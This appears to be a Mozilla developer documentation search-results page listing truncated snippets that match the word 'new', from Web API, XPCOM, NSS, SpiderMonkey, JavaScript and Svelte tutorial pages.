in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Index - Web APIs
WebAPIIndex
7 abortcontroller.abortcontroller() api, abortcontroller, constructor, experimental, fetch, reference the abortcontroller() constructor creates a new abortcontroller object instance.
... 15 absoluteorientationsensor api, absoluteorientationsensor, constructor, generic sensor api, orientation sensor api, reference, sensor, sensor apis, sensors the absoluteorientationsensor constructor creates a new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system.
... 25 accelerometer.accelerometer() api, accelerometer, accelerometer api, constructor, generic sensor api, reference, sensor, sensor apis, sensors the accelerometer constructor creates a new accelerometer object which returns the acceleration of the device along all three axes at the time it is read.
...And 370 more matches
Index - Archive of obsolete content
67 windows add-on sdk enumerate and examine open browser windows, open new windows, and listen for window events.
... 189 html to dom code snippets, dom, guide, html, intermediate, needsupdate although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... the code snippets on this page will let your site work until these new features are more widely available.
...And 100 more matches
Index
it will detect and open an existing database, or it can create a new one.
...usually, nss will flush all data to disk as soon as new data has been added to permanent storage.
...the file could be named secmod.db, but in newer database generations a file named pkcs11.txt is used.
...And 96 more matches
Index
2 creating javascript tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your new test belong?
...whenever practical, new code and changes should move code closer to the ideal future.
...in this case, the application can still convert i to a jsval using js_newnumbervalue.
...And 73 more matches
StringView - Archive of obsolete content
r strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easi...
...; ftaview = uint16array; break encswitch; case "utf-32": ftaview = uint32array; ntranscrtype &= 14; break encswitch; default: /* case "ascii", or case "binarystring" or unknown cases */ ftaview = uint8array; ntranscrtype &= 14; } typeswitch: switch (typeof vinput) { case "string": /* the input argument is a primitive string: a new buffer will be created.
... */ ntranscrtype &= 7; break typeswitch; case "object": classswitch: switch (vinput.constructor) { case stringview: /* the input argument is a stringview: a new buffer will be created.
...And 71 more matches
Theme changes in Firefox 2 - Archive of obsolete content
feeds/addfeedreader.xul feeds/addfeedreader.css new file that presents ui for adding a new feed reader.
... feeds/subscribe.xhtml feeds/subscribe.css new file that presents the ui for subscribing to an rss feed.
... safebrowsing/warning-overlay.xul safebrowsing/browser-protection.css new file containing the overlay that's drawn over the browser when you browse to a suspected phishing site.
...And 62 more matches
Window.open() - Web APIs
WebAPIWindowopen
the window interface's open() method loads the specified resource into the new or existing browsing context (window, <iframe> or tab) with the specified name.
... if the name doesn't exist, then a new browsing context is opened in a new tab or a new window, and the specified resource is loaded into it.
... windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname.
...And 60 more matches
Index
MozillaTechXPCOMIndex
it is a possiblity that is introduced when upgrading to a new compiler without recompiling everything.
...the new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed.
... here is the interface, and a description of its use.</t> 10 how to pass an xpcom object to a new window needsexample, needshelp if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
...And 51 more matches
nsIFile
to create an nsifile from a path you can use fileutils.jsm: var fileutils = cu.import("resource://gre/modules/fileutils.jsm").fileutils var nsifile = new fileutils.file( filename ) note: nsilocalfile was merged with this interface in gecko 14.
... void appendrelativenativepath(in acstring relativefilepath); void appendrelativepath(in astring relativefilepath); nsifile clone(); boolean contains(in nsifile infile); void copyto(in nsifile newparentdir, in astring newname); void copytofollowinglinks(in nsifile newparentdir, in astring newname); void copytofollowinglinksnative(in nsifile newparentdir, in acstring newname); native code only!
... void copytonative(in nsifile newparentdir, in acstring newname); native code only!
...And 47 more matches
jspage - Archive of obsolete content
on"){b[c]=function(){var d=array.prototype.slice.call(arguments); return b.prototype[c].apply(d.shift(),d);};}};native.implement=function(d,c){for(var b=0,a=d.length;b<a;b++){d[b].implement(c);}};native.typize=function(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr",...
..."substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.implement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each");array.implement({foreach:function(c,d){for(var b=0,a=this.length;b<a;b++){c.call(d,this[b],b,this);}}});array.alias("foreach","each"); function $a(b){if(b.item){var a=b.lengt...
...h,c=new array(a);while(a--){c[a]=b[a];}return c;}return array.prototype.slice.call(b);}function $arguments(a){return function(){return arguments[a]; };}function $chk(a){return !!(a||a===0);}function $clear(a){cleartimeout(a);clearinterval(a);return null;}function $defined(a){return(a!=undefined);}function $each(c,b,d){var a=$type(c); ((a=="arguments"||a=="collection"||a=="array")?array:hash).each(c,b,d);}function $empty(){}function $extend(c,a){for(var b in (a||{})){c[b]=a[b];}return c; }function $h(a){return new hash(a);}function $lambda(a){return($type(a)=="function")?a:function(){return a;};}function $merge(){var a=array.slice(arguments); a.unshift({});return $mixin.apply(null,a);}function $mixin(e){for(var d=1,a=arguments.length;d<a;d++){var b=arguments[d];if($type(b)!="object"){continue;...
...And 44 more matches
Details of the object model - JavaScript
a prototype-based language has the notion of a prototypical object, an object used as a template from which to get the initial properties for a new object.
...you use the new operator in association with the constructor method to create class instances.
...you use the new operator with a constructor function to create a new object.
...And 43 more matches
Bytecode Descriptions
newtarget stack: ⇒ new.target push the value of new.target.
...this must be used only in scripts where new.target is allowed: non-arrow function scripts and other scripts that have a non-arrow function script on the scope chain.
... implements: getnewtarget.
...And 41 more matches
JXON - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function parsetext (svalue) { if (/^\s*$/.test(svalue)) { return null; } if (/^(?:true|false)$/i.test(svalue)) { return svalue.tolowercase() === "true"; } if (isfinite(svalue)) { return parsefloat(svalue); } if (isfinite(date.parse(svalue))) { return new date(svalue); } return svalue; } function jxontree (oxmlparent) { var nattrlen = 0, nlength = 0, scollectedtxt = ""; if (oxmlparent.haschildnodes()) { for (var onode, sprop, vcontent, nitem = 0; nitem < oxmlparent.childnodes.length; nitem++) { onode = oxmlparent.childnodes.item(nitem); if ((onode.nodetype - 1 | 1) === 3) { scollectedtxt += onode.nodetype === 3 ?
... onode.nodevalue.trim() : onode.nodevalue; } // nodetype is "text" (3) or "cdatasection" (4) else if (onode.nodetype === 1 && !onode.prefix) { // nodetype is "element" (1) sprop = onode.nodename.tolowercase(); vcontent = new jxontree(onode); if (this.hasownproperty(sprop)) { if (this[sprop].constructor !== array) { this[sprop] = [this[sprop]]; } this[sprop].push(vcontent); } else { this[sprop] = vcontent; nlength++; } } } this.keyvalue = parsetext(scollectedtxt); } else { this.keyvalue = null; } if (oparentnode.hasattributes && oxmlparent.hasattributes()) { var oattrib; this.keyattributes = {}; for (nattrlen; nattrlen < oxmlparent.attributes.length; nattrlen++) { oattrib = oxmlparent.attributes.item(...
...nt++; } return null; }; jxontree.prototype.getattribute = function (nattrid) { if (nattrlen === 0 || nattrid + 1 > nattrlen) { return null; } var nattr = 0; for (var sattrname in this.keyattributes) { if (nattr === nattrid) { return this.keyattributes[sattrname]; } nattr++; } return null; }; jxontree.prototype.haschildren = function () { return this.keylength > 0; }; */ var myobject = new jxontree(doc); // we got our javascript object!
...And 33 more matches
sslfnc.html
they might wish to do this if they knew, somehow, that the server does not understand ssl2-compatible client hello messages.
...if an application attempts to set or set the policy or preference for one of the old fips cipher suite numbers, the library recognizes the old number and sets or gets the value for the new cipher suite number instead.
...otherwise, the old settings remain in the session cache and will be used instead of the new settings.
...And 31 more matches
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...the template builder uses these notifcations to update the template as necessary based on the new or removed information.
...there are four such functions: 'assert', to add a new triple (or arrow) to the rdf graph, 'unassert' to remove a triple, 'change' to adjust the target of a triple, and 'move' to adjust the source of a 'triple'.
...And 27 more matches
Drawing graphics - Learn web development
in the second line we set both a new constant width and the canvas' width property equal to window.innerwidth (which gives us the viewport width).
... in the third line we set both a new constant height and the canvas' height property equal to window.innerheight (which gives us the viewport height).
... first of all, take a copy of your newly coded canvas template (or make a local copy of 1_canvas_template.html if you didn't follow the above steps).
...And 27 more matches
Index
these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox.
... 7 address book interfaces mailnews, mozilla, seamonkey, thunderbird this page contains a list of the interfaces that you'll will most likely hit when writing patches for the address book or writing extensions.
... 8 address book examples mailnews, seamonkey, thunderbird this article provides examples on accessing and manipulating thunderbird address books.
...And 27 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
the following new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality.
... newtodo: displays the <input> field and add button for adding a new todo.
... create a new file — components/moreactions.svelte.
...And 26 more matches
NSS tools : certutil
it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
... -c create a new binary certificate file from a binary certificate request file.
... -g generate a new public and private key pair within a key database.
...And 26 more matches
certutil
it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database.
... -c create a new binary certificate file from a binary certificate request file.
... -g generate a new public and private key pair within a key database.
...And 26 more matches
nsINavBookmarksService
avbookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long aitemid, in nsiuri anewuri); long long createdynamiccontainer(in long long aparentfolder, in autf8string aname, in astring acontractid, in long aindex); note: renamed from createcontainer in gecko 1.9 obsolete since gecko 13.0 long long createfolder(in long long aparentfolder, in autf8string name, in long index); void endupdatebatch(); obsolete since gecko 1.9 void exportbookmarkshtml...
....9 long long insertbookmark(in long long aparentid, in nsiuri auri, in long aindex, in autf8string atitle); void insertitem(in print64 folder, in nsiuri item, in print32 index); obsolete since gecko 1.9 long long insertseparator(in long long aparentid, in long aindex); boolean isbookmarked(in nsiuri auri); void movefolder(in print64 folder, in print64 newparent, in print32 index); obsolete since gecko 1.9 void moveitem(in long long aitemid, in long long anewparentid, in long aindex); void removechildat(in long long afolder, in long aindex); obsolete since gecko 2.0 void removefolder(in long long afolder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long ...
...long aitemid); void removeobserver(in nsinavbookmarkobserver observer); void replaceitem(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports auserdata); void setfolderreadonly(in long long afolder, in boolean areadonly); void setfoldertitle(in print64 folder, in astring title); obsolete since gecko 1.9 void setitemdateadded(in long long aitemid, in prtime adateadded); void setitemguid(in long long aitemid, in astring aguid); obsolete since gecko 14.0 void setitemindex(in long long aitemid, in long anewindex); void setitemlastmodified(in long long aitemid, in prtime alastmodified); void setitemtit...
...And 26 more matches
nsINavHistoryResultObserver
atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstatechanged(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long anewstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime anewvisitdate, in unsigned long anewaccesscount); void node...
...iconchanged(in nsinavhistoryresultnode anode); void nodeinserted(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long anewindex); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string anewkeyword); void nodelastmodifiedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodemoved(in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode anewparent, in unsigned long anewindex); void noderemoved(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode aitem, in unsigned long aoldindex); void nodereplaced(in nsinavhistorycontainerresultnode aparentnode, in nsinavhistoryresultnode aoldnode, in nsinavhistor...
...yresultnode anewnode, in unsigned long aindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string anewtitle); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string anewuri); void sortingchanged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistoryresult this observer monitors.
...And 25 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
autocompletesearch new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface.
... mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested.
... gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched.
...And 24 more matches
Inheritance and the prototype chain - JavaScript
here is what happens when trying to access a property: // let's create an object o from function f with its own properties a and b: let f = function () { this.a = 1; this.b = 2; } let o = new f(); // {a: 1, b: 2} // add properties in f function's prototype f.prototype.b = 3; f.prototype.c = 4; // do not set the prototype f.prototype = {b:3,c:4}; this will break the prototype chain // o.[[prototype]] has properties b and c.
... results in: { foo: "bar", constructor: ƒ dosomething(), __proto__: { constructor: ƒ object(), hasownproperty: ƒ hasownproperty(), isprototypeof: ƒ isprototypeof(), propertyisenumerable: ƒ propertyisenumerable(), tolocalestring: ƒ tolocalestring(), tostring: ƒ tostring(), valueof: ƒ valueof() } } we can now use the new operator to create an instance of dosomething() based on this prototype.
... to use the new operator, simply call the function normally except prefix it with new.
...And 24 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
introduction when you click a link on a web page, your web browser makes a request to a web server which usually results in a new web page as a response.
... that new page may have links that take you to other pages, which may in turn have more links, and so on.
...recently, however, modern browsers and enriched web standards have begun to make new navigational and presentational models possible.
...And 23 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
before i go into the differences between mozilla and internet explorer, i'll cover some basic ways you can make a web application extensible in order to add new browser support later.
... var elm; if (ns4) elm = document.layers["myid"]; else if (ie4) elm = document.all["myid"] the above code isn't extensible, so if you want it to support a new browser, you must update these blocks throughout the web application.
... the easiest way to eliminate the need to recode for a new browser is to abstract out functionality.
...And 23 more matches
SpiderMonkey 1.8
it is much faster than spidermonkey 1.7 and contains a few new language features and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... there is a minor known bug in the new javascript 1.8 functionality.
...And 23 more matches
Color picker tool - CSS: Cascading Style Sheets
360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) { this.copy(color); return; } this.r = 0; this.g = 0; this.b = 0; this.a = 1; this.hue = 0; this.saturation = 0; this.value = 0; this.lightness = 0; this.format = 'hsv'; } function rgbcolor(r, g, b) { var color = new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color = new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color = new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color = new color(); color.sethsv(h, s, v); color.a = a; return color; } functio...
...n hslcolor(h, s, l) { var color = new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color = new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; } this.r = obj.r; this.g = obj.g; this.b = obj.b; this.a = obj.a; this.hue = obj.hue; this.saturation = obj.saturation; this.value = obj.value; this.format = '' + obj.format; this.lightness = obj.lightness; }; color.prototype.setformat = function setformat(format) { if (format === 'hsv') this.format = 'hsv'; if (format === 'hsl') this.format = 'hsl'; }; /*========== methods to set color properties ==========...
...n value.touppercase(); }; color.prototype.getrgba = function getrgba() { var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b; var a = ''; var v = ''; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'rgb' + a + rgb + v + ')'; return value; }; color.prototype.gethsla = function gethsla() { if (this.format === 'hsv') { var color = new color(this); color.setformat('hsl'); color.updatehsx(); return color.gethsla(); } var a = ''; var v = ''; var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%'; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'hsl' + a + hsl + v + ')'; return value; }; color.prototype.getcolor = function getcolor() { ...
...And 23 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
javascript's types are: number string boolean function object symbol (new in es2015) ...
...so the type diagram looks more like this: number string boolean symbol (new in es2015) object function array date regexp null undefined and there are some built-in error types as well.
...this should be welcome news to anyone who has had to deal with internationalization.
...And 23 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
autocompletesearch new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface.
... mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested.
... gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched.
...And 22 more matches
Mozilla release FAQ - Archive of obsolete content
webpages mozilla project homepage netscape developer program website mozillazine (news service) mozilla evangelism effort mozdev projects irc server: irc.mozilla.org channel #mozillazine note that recent versions of mozilla include an irc client.
... usenet all newsgroups in the netscape.public.mozilla.* hierarchy.
... if your news server doesn't carry these, you can use the mozilla news server.
...And 22 more matches
SpiderMonkey 1.8.5
it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...spidermonkey 1.8.5 includes a new configure-based build system, introduced shortly after active development on the engine moved from cvs to mercurial.
...And 22 more matches
nsINavHistoryResultViewer
n nsinavhistorycontainerresultnode acontainernode); void containeropened(in nsinavhistorycontainerresultnode acontainernode); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodelastaddedchanged(in nsinavhistoryresultnode anode, in prtime anewvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime anewvisitdate, in unsigned long anewaccesscount); void nodeiconchanged(in nsinavhistoryresultnode anode); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string anewkeyword); ...
... void nodemoved(in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode anewparent, in unsigned long anewindex); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string anewtitle); void noderemoved(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long aoldindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string anewuri); void nodereplaced(in nsinavhistorycontainerresultnode parent, in nsinavhistoryresultnode olditem, in nsinavhistoryresultnode newitem, in unsigned long index); void nodeinserted(in nsinavhistory...
...containerresultnode aparent, in nsinavhistoryresultnode anode , in unsigned long anewindex); void sortingchanged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistoryresult this viewer monitors.
...And 22 more matches
Streams - Plugins
the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it.
...in contrast, for streams produced by the plug-in, the plug-in calls the plug-in api methods npp_newstream, npp_write, and npp_destroystream to create a stream, push data into it, and delete it.
... data stream to the plug-in, it has several tasks to perform: telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode telling the plug-in when a stream is created to tell the plug-in instance when a new stream is created, the browser calls the npp_newstream method.
...And 22 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
to prove it, go to that array, and try changing some of the todo object's completed property values, and even add a new todo object.
...this is how svelte 'extends' javascript by taking valid syntax and giving it a new purpose.
...this is another example in which svelte takes advantage of valid javascript syntax and gives it a new purpose — in this case to to mean "re-run this code whenever any of the referenced values change".
...And 21 more matches
nsIMsgFolder
check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgfolder.idl for the newer methods (esp.
...msgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in unsigned long flag); void onflagchange(in unsigned long flag); void setprefflag(); nsimsgfolder getfolderswithflag(in unsigned long flags, in unsigned l...
...sarray messages,in boolean ismove, in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener, in boolean isfolder, in boolean allowundo); void copyfolder(in nsimsgfolder srcfolder, in boolean ismovefolder,in nsimsgwindow msgwindow, in nsimsgcopyservicelistener listener ); void copyfilemessage(in nsifile file, in nsimsgdbhdr msgtoreplace,in boolean isdraft, in unsigned long newmsgflags,in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener); void acquiresemaphore(in nsisupports semholder); void releasesemaphore(in nsisupports semholder); boolean testsemaphore(in nsisupports semholder); void getnewmessages(in nsimsgwindow awindow, in nsiurllistener alistener); void writetofoldercache(in nsimsgfoldercache foldercache, ...
...And 21 more matches
ARIA Test Cases - Accessibility
new tests for internet explorer 8 rc1 on this msdn page the aria state/role mapping in ie8 to msaa roles can be directly checked.
... a screen magnifier should move the current view to the alert or open a new panel with the alert information optional, but desired: if there are widgets within the alert, their role and any keyboard mnemonic (accesskey) should be spoken.
... when closing the menu, this should be indicated, and focus should be repeated for the menu button the menu was opened from, or the new focus location if the activated menu item results in that.
...And 21 more matches
JavaScript Daemons Management - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * the daemon system * ****************************/ /* the global "daemon" constructor */ function daemon (oowner, ftask, nrate, nlen, finit, fonstart) { if (!(this && this instanceof daemon)) { return; } if (arguments.length < 2) { throw new typeerror("daemon - not enough arguments"); } if (oowner) { this.owner = oowner }; this.task = ftask; if (isfinite(nrate) && nrate > 0) { this.rate = math.floor(nrate); } if (nlen > 0) { this.length = math.floor(nlen); } if (fonstart) { this.onstart = fonstart; } if (finit) { this.onstop = finit; finit.call(oowner, this.index, this.length, this.backw); } ...
... **/ daemon.construct = function (aargs) { var odmn = new this.blank(); this.apply(odmn, aargs); return odmn; }; daemon.buildaround = function (octx, nrate, nlen) { if (!octx.perform) { throw new typeerror("you cannot create a daemon around an object devoid of a \"perform\" function"); } return new this(octx, octx.perform, nrate || null, nlen || null, octx.create || null, octx.prepare || null); }; /* warning!
...*/ daemon.incorporate = function (fconstr) { var olegacy = fconstr.prototype; fconstr.prototype = new daemon.blank(); fconstr.prototype.legacy = olegacy; return fconstr; }; /* system required daemon instances methods */ daemon.prototype.isatend = function () { return this.backw ?
...And 20 more matches
Mozilla DOM Hacking Guide
helper classes nsdomclassinfo.h defines several new classes.
... each helper class has a public docreate member function that is called by getclassinfoinstance (see also section 1.6) to create a new instance of the class if needed.
...for example, getproperty() is used when retrieving an attribute that was not defined in idl, and newresolve() is used when resolving for the first time an attribute or method that was not previously resolved.
...And 20 more matches
Using Web Workers - Web APIs
workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page.
... } spawning a dedicated worker creating a new worker is simple.
... all you need to do is call the worker() constructor, specifying the uri of a script to execute in the worker thread (main.js): var myworker = new worker('worker.js'); sending messages to and from a dedicated worker the magic of workers happens via the postmessage() method and the onmessage event handler.
...And 20 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
some of these preferences do not exist—to create them, right-click, select “new>boolean”, and type in the name and set the value accordingly.
... developing a simple extension: hello world in this section, we will write an extremely simple “hello world” extension that only displays the time.3 phase 1: test install our first step will be to perform a test installation consisting of the minimum code needed to add a new menu item to the tools menu (figure 3).
...the menupop element 4 contains the merge point where you’re going to be adding a new menu item; you can see that it has the id menu_toolspopup.
...And 19 more matches
Inheritance in JavaScript - Learn web development
say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members from person, but also includes: a new property, subject — this will contain the subject the teacher teaches.
... the last line inside the constructor simply defines the new subject property that teachers are going to have, which generic people don't have.
... as a note, we could have simply done this: function teacher(first, last, age, gender, interests, subject) { this.name = { first, last }; this.age = age; this.gender = gender; this.interests = interests; this.subject = subject; } but this is just redefining the properties anew, not inheriting them from person(), so it defeats the point of what we are trying to do.
...And 19 more matches
Setting up your own test automation environment - Learn web development
setting up selenium in node to start with, set up a new npm project, as discussed in setting up node and npm in the last chapter.
... check that your new paths are in the path variable by entering the following into your terminal: echo $path you should see it printed out in the terminal.
... to set your path variable on windows, follow the instructions at how can i add a new folder to my system path?
...And 19 more matches
JSAPI User Guide
a minimal example each of the three key elements described in the previous section requires a few jsapi calls: the runtime: use js_newruntime to create it and js_destroyruntime to clean it up when you're done.
...but as that is not always the case, calling js_shutdown is a good habit to get into.) the context: use js_newcontext and js_destroycontext.
...use js_newglobalobject to create a global object.
...And 19 more matches
nsIIOService
inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler).
...ts.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string urlstring); unsigned long getprotocolflags(in string ascheme); nsiprotocolhandler getprotocolhandler(in string ascheme); nsichannel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsichannel newchannelfromuri...
...(in nsiuri auri); obsolete since gecko 48 nsichannel newchannelfromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long acontentpolicytype); nsichannel newchannelfromuriwithloadinfo(in nsiuri auri, in nsiloadinfo aloadinfo); nsichannel newchannelfromuriwithproxyflags2(in nsiuri auri, in nsiuri aproxyuri, in uint32_t aproxyflags,in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsiuri newfileuri(in nsifile afile); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes ...
...And 19 more matches
Using IndexedDB - Web APIs
creating or updating the version of the database when you create a new database or increase the version number of an existing database (by specifying a higher version number than you did previously, when opening a database), the onupgradeneeded event will be triggered and an idbversionchangeevent object will be passed to any onversionchange event handler set up on request.result (i.e., db in the example).
...you only need to create any new object stores, or delete object stores from the previous version that are no longer needed.
... if you need to change an existing object store (e.g., to change the keypath), then you must delete the old object store and create it again with the new options.
...And 19 more matches
TypedArray - JavaScript
calling it or using it in a new expression will throw a typeerror, except when used during object creation in js engines that support subclassing.
...these objects all have a common syntax for their constructors: new typedarray(); new typedarray(length); new typedarray(typedarray); new typedarray(object); new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 19 more matches
Writing to Files - Archive of obsolete content
